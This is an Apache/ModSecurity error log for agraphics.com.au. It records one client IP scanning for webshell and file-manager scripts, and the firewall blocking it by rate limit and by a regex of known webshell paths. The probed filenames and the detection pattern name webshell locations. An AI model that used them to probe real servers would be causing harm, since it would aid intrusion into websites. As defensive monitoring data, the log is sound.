[Sat Apr 18 04:35:56.975624 2026] [:error] [pid 9865:tid 9947] [client 158.158.109.150:65188] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "aeKZrKzb5knECIY-C-iBEwAAAIo"]
[Sat Apr 18 04:35:59.056003 2026] [:error] [pid 9863:tid 9886] [client 158.158.109.150:64762] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "aeKZrzjjiypiFrTucbL0AgAAAA0"]
[Sat Apr 18 04:36:02.022642 2026] [:error] [pid 9864:tid 9922] [client 158.158.109.150:65213] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "aeKZsoCFeowknfXHM7kXSgAAAFA"]
[Sat Apr 18 04:36:02.859321 2026] [:error] [pid 9970:tid 9989] [client 158.158.109.150:65192] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aeKZsiYdRLRhVmaIMx2P-gAAAM8"]
[Sat Apr 18 04:36:05.207523 2026] [proxy_fcgi:error] [pid 9864:tid 9910] [client 158.158.109.150:65516] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:36:05.454429 2026] [proxy_fcgi:error] [pid 9864:tid 9916] [client 158.158.109.150:65516] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:36:05.975415 2026] [:error] [pid 9864:tid 9917] [client 158.158.109.150:65516] [client 158.158.109.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "aeKZtYCFeowknfXHM7kXUgAAAEs"]
[Sat Apr 18 04:36:08.431020 2026] [proxy_fcgi:error] [pid 9863:tid 9875] [client 158.158.109.150:54714] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:36:08.690638 2026] [proxy_fcgi:error] [pid 9863:tid 9889] [client 158.158.109.150:54714] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:36:08.954316 2026] [proxy_fcgi:error] [pid 9863:tid 9897] [client 158.158.109.150:54714] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:36:09.210688 2026] [proxy_fcgi:error] [pid 9863:tid 9879] [client 158.158.109.150:54714] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:36:09.497102 2026] [proxy_fcgi:error] [pid 9863:tid 9892] [client 158.158.109.150:54714] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:36:09.744760 2026] [proxy_fcgi:error] [pid 9863:tid 9894] [client 158.158.109.150:54714] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:36:10.004467 2026] [proxy_fcgi:error] [pid 9863:tid 9877] [client 158.158.109.150:54714] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:36:10.253715 2026] [:error] [pid 9863:tid 9895] [client 158.158.109.150:54714] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aeKZujjjiypiFrTucbL0LAAAABY"]
[Sat Apr 18 04:36:11.056036 2026] [:error] [pid 9864:tid 9908] [client 158.158.109.150:65201] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aeKZu4CFeowknfXHM7kXVAAAAEM"]
[Sat Apr 18 04:36:12.207843 2026] [:error] [pid 9865:tid 9951] [client 158.158.109.150:65114] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aeKZvKzb5knECIY-C-iBIgAAAI4"]
[Sat Apr 18 04:36:14.019003 2026] [:error] [pid 9865:tid 9942] [client 158.158.109.150:65091] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xwx1.php"] [unique_id "aeKZvqzb5knECIY-C-iBJgAAAIU"]
[Sat Apr 18 04:36:16.341771 2026] [:error] [pid 9970:tid 9987] [client 158.158.109.150:65527] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeKZwCYdRLRhVmaIMx2QIAAAAM0"]
[Sat Apr 18 04:36:17.224618 2026] [:error] [pid 9970:tid 9978] [client 158.158.109.150:65208] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeKZwSYdRLRhVmaIMx2QJAAAAMQ"]
[Sat Apr 18 04:36:18.097626 2026] [:error] [pid 9970:tid 9986] [client 158.158.109.150:54676] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeKZwiYdRLRhVmaIMx2QKQAAAMw"]
[Sat Apr 18 04:36:19.075064 2026] [:error] [pid 9970:tid 9989] [client 158.158.109.150:65163] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xff.php"] [unique_id "aeKZwyYdRLRhVmaIMx2QLAAAAM8"]
[Sat Apr 18 04:36:19.903669 2026] [:error] [pid 9970:tid 9982] [client 158.158.109.150:65506] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aeKZwyYdRLRhVmaIMx2QMgAAAMg"]
[Sat Apr 18 04:36:20.772331 2026] [:error] [pid 9863:tid 9878] [client 158.158.109.150:54678] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aeKZxDjjiypiFrTucbL0NgAAAAU"]
[Sat Apr 18 04:36:21.739617 2026] [:error] [pid 9865:tid 9946] [client 158.158.109.150:65099] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aeKZxazb5knECIY-C-iBKQAAAIk"]
[Sat Apr 18 04:36:22.558628 2026] [:error] [pid 9863:tid 9882] [client 158.158.109.150:65476] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aeKZxjjjiypiFrTucbL0NwAAAAk"]
[Sat Apr 18 04:36:23.511582 2026] [:error] [pid 9864:tid 9921] [client 158.158.109.150:65104] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/roksad1.php"] [unique_id "aeKZx4CFeowknfXHM7kXXAAAAE8"]
[Sat Apr 18 04:36:24.484886 2026] [:error] [pid 9970:tid 9988] [client 158.158.109.150:65501] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/roksad1.php"] [unique_id "aeKZyCYdRLRhVmaIMx2QTgAAAM4"]
[Sat Apr 18 04:36:25.215162 2026] [:error] [pid 9865:tid 9941] [client 158.158.109.150:54659] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/roksad1.php"] [unique_id "aeKZyazb5knECIY-C-iBKgAAAIQ"]
[Sat Apr 18 04:36:26.088388 2026] [:error] [pid 9970:tid 9995] [client 158.158.109.150:65165] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/roksad1.php"] [unique_id "aeKZyiYdRLRhVmaIMx2QVAAAANU"]
[Sat Apr 18 04:36:27.151933 2026] [:error] [pid 9863:tid 9894] [client 158.158.109.150:65107] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "aeKZyzjjiypiFrTucbL0OQAAABU"]
[Sat Apr 18 04:36:28.212744 2026] [:error] [pid 9863:tid 9887] [client 158.158.109.150:65146] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "aeKZzDjjiypiFrTucbL0PgAAAA4"]
[Sat Apr 18 04:36:29.657024 2026] [:error] [pid 9863:tid 9874] [client 158.158.109.150:65206] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "aeKZzTjjiypiFrTucbL0QAAAAAE"]
[Sat Apr 18 04:36:30.825564 2026] [:error] [pid 9863:tid 9881] [client 158.158.109.150:65179] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "aeKZzjjjiypiFrTucbL0QgAAAAg"]
[Sat Apr 18 04:36:31.964607 2026] [:error] [pid 9863:tid 9878] [client 158.158.109.150:65494] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aeKZzzjjiypiFrTucbL0RwAAAAU"]
[Sat Apr 18 04:36:33.772997 2026] [:error] [pid 9865:tid 9952] [client 158.158.109.150:54694] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aeKZ0azb5knECIY-C-iBLAAAAI8"]
[Sat Apr 18 04:36:34.394882 2026] [:error] [pid 9865:tid 9959] [client 158.158.109.150:64758] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aeKZ0qzb5knECIY-C-iBLgAAAJY"]
[Sat Apr 18 04:36:35.529645 2026] [:error] [pid 9865:tid 9949] [client 158.158.109.150:65122] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aeKZ06zb5knECIY-C-iBMQAAAIw"]
[Sat Apr 18 04:36:36.592505 2026] [:error] [pid 9863:tid 9877] [client 158.158.109.150:64825] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aeKZ1DjjiypiFrTucbL0TwAAAAQ"]
[Sat Apr 18 04:36:37.385484 2026] [:error] [pid 9865:tid 9961] [client 158.158.109.150:64714] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aeKZ1azb5knECIY-C-iBMgAAAJg"]
[Sat Apr 18 04:36:39.545422 2026] [:error] [pid 9970:tid 9986] [client 158.158.109.150:54717] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aeKZ1yYdRLRhVmaIMx2QcgAAAMw"]
[Sat Apr 18 04:36:40.444734 2026] [:error] [pid 9865:tid 9950] [client 158.158.109.150:64712] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aeKZ2Kzb5knECIY-C-iBPAAAAI0"]
[Sat Apr 18 04:36:41.909785 2026] [:error] [pid 9863:tid 9876] [client 158.158.109.150:64815] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aeKZ2TjjiypiFrTucbL0UAAAAAM"]
[Sat Apr 18 04:36:42.566165 2026] [:error] [pid 9970:tid 9984] [client 158.158.109.150:64799] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aeKZ2iYdRLRhVmaIMx2QegAAAMo"]
[Sat Apr 18 04:36:43.807455 2026] [:error] [pid 9863:tid 9891] [client 158.158.109.150:64799] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aeKZ2zjjiypiFrTucbL0UQAAABI"]
[Sat Apr 18 04:36:44.815810 2026] [:error] [pid 9970:tid 9997] [client 158.158.109.150:65510] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aeKZ3CYdRLRhVmaIMx2QhAAAANc"]
[Sat Apr 18 04:36:46.001526 2026] [:error] [pid 9865:tid 9942] [client 158.158.109.150:65515] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "aeKZ3qzb5knECIY-C-iBRQAAAIU"]
[Sat Apr 18 04:36:48.185586 2026] [:error] [pid 9970:tid 9988] [client 158.158.109.150:65158] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "aeKZ4CYdRLRhVmaIMx2QigAAAM4"]
[Sat Apr 18 04:36:50.614940 2026] [:error] [pid 9970:tid 9992] [client 158.158.109.150:65168] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "aeKZ4iYdRLRhVmaIMx2QkQAAANI"]
[Sat Apr 18 04:36:51.415758 2026] [:error] [pid 9970:tid 9998] [client 158.158.109.150:54690] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "aeKZ4yYdRLRhVmaIMx2QlwAAANg"]
[Sat Apr 18 04:36:52.931551 2026] [:error] [pid 9864:tid 9919] [client 158.158.109.150:64719] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/less.php"] [unique_id "aeKZ5ICFeowknfXHM7kXbwAAAE0"]
[Sat Apr 18 04:36:54.069749 2026] [:error] [pid 9865:tid 9948] [client 158.158.109.150:65200] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/less.php"] [unique_id "aeKZ5qzb5knECIY-C-iBVgAAAIs"]
[Sat Apr 18 04:36:54.643309 2026] [:error] [pid 9863:tid 9883] [client 158.158.109.150:64768] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/less.php"] [unique_id "aeKZ5jjjiypiFrTucbL0VgAAAAo"]
[Sat Apr 18 04:36:55.662714 2026] [:error] [pid 9863:tid 9879] [client 158.158.109.150:54675] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/less.php"] [unique_id "aeKZ5zjjiypiFrTucbL0WQAAAAY"]
[Sat Apr 18 04:36:56.455304 2026] [:error] [pid 9863:tid 9892] [client 158.158.109.150:64770] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws86.php"] [unique_id "aeKZ6DjjiypiFrTucbL0WwAAABM"]
[Sat Apr 18 04:36:57.390464 2026] [:error] [pid 9863:tid 9894] [client 158.158.109.150:65507] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws86.php"] [unique_id "aeKZ6TjjiypiFrTucbL0XAAAABU"]
[Sat Apr 18 04:36:58.653074 2026] [:error] [pid 9864:tid 9930] [client 158.158.109.150:65186] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws86.php"] [unique_id "aeKZ6oCFeowknfXHM7kXcQAAAFg"]
[Sat Apr 18 04:37:04.320550 2026] [:error] [pid 9863:tid 9893] [client 158.158.109.150:65106] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws86.php"] [unique_id "aeKZ8DjjiypiFrTucbL0XwAAABQ"]
[Sat Apr 18 04:37:09.564430 2026] [proxy_fcgi:error] [pid 9970:tid 9990] [client 158.158.109.150:54665] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:37:09.806822 2026] [proxy_fcgi:error] [pid 9970:tid 9998] [client 158.158.109.150:54665] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:37:10.049932 2026] [proxy_fcgi:error] [pid 9970:tid 9975] [client 158.158.109.150:54665] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:37:10.292622 2026] [proxy_fcgi:error] [pid 9970:tid 9986] [client 158.158.109.150:54665] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:37:10.546968 2026] [proxy_fcgi:error] [pid 9970:tid 9981] [client 158.158.109.150:54665] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:37:10.791044 2026] [proxy_fcgi:error] [pid 9970:tid 9994] [client 158.158.109.150:54665] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:37:11.048969 2026] [proxy_fcgi:error] [pid 9970:tid 9984] [client 158.158.109.150:54665] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:37:11.292719 2026] [proxy_fcgi:error] [pid 9970:tid 9976] [client 158.158.109.150:54665] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:37:11.535013 2026] [proxy_fcgi:error] [pid 9970:tid 9988] [client 158.158.109.150:54665] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:37:11.786082 2026] [proxy_fcgi:error] [pid 9970:tid 9982] [client 158.158.109.150:54665] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:37:12.038554 2026] [proxy_fcgi:error] [pid 9970:tid 9978] [client 158.158.109.150:54665] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:37:12.286400 2026] [:error] [pid 9970:tid 9997] [client 158.158.109.150:54665] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/samll.php"] [unique_id "aeKZ-CYdRLRhVmaIMx2QygAAANc"]
